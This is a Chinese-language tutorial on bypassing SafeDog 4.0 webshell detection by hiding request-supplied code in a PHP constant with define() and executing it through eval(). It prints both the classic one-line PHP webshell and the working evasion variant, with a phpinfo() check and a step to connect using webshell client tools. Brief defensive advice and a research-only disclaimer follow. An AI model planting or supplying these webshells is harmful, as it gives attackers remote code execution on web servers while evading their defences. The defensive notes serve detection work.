绕过安全狗4.0版本的WebShell技术分析

技术背景

安全狗是一款常见的网站安全防护软件，其4.0版本提供了WebShell检测功能。本文介绍了一种通过定义常量来绕过安全狗检测的方法。

核心原理

利用PHP的define()函数定义常量，将恶意代码存储在常量中，然后通过eval()执行该常量，从而绕过安全狗对传统WebShell的检测模式。

详细步骤

1. 传统WebShell分析

传统一句话WebShell形式：

<?php eval($_REQUEST['a']); ?>

安全狗能够有效检测这种直接使用eval()执行请求参数的WebShell。

2. 绕过技术实现

使用define()函数定义常量来存储恶意代码：

<?php 
define("hi", "$_REQUEST[young]"); 
eval(hi); 
?>

技术要点解析：

• define()函数定义了一个名为"hi"的常量
• 常量值为$_REQUEST[young]，即从请求参数中获取的代码
• 通过eval(hi)执行该常量中的代码
• 常量名"hi"和参数名"young"可以任意替换

3. 验证方法

1. 首先测试phpinfo()函数确认代码执行是否成功：

   <?php 
   define("hi", "phpinfo();"); 
   eval(hi); 
   ?>
   

2. 确认可执行后，使用常规WebShell连接工具连接测试

4. 技术优势

• 避免了直接使用eval($_REQUEST['a'])这种被安全狗标记的模式
• 将恶意代码分两部分存储和执行，增加了检测难度
• 代码结构简单，易于修改和变形

防御建议

针对此类绕过技术，安全防护系统应考虑：

1. 监控define()与eval()的组合使用
2. 分析常量定义中的动态代码特征
3. 加强对非常规WebShell模式的检测
4. 实施多层防御策略，不依赖单一检测方法

扩展思考

此技术展示了WAF绕过的基本思路：通过代码变形和分阶段执行来规避直接的模式匹配。类似的思路可以应用于其他WAF的绕过，如作者提到的D盾等。

注意：本文仅用于安全研究和技术交流目的，请勿用于非法用途。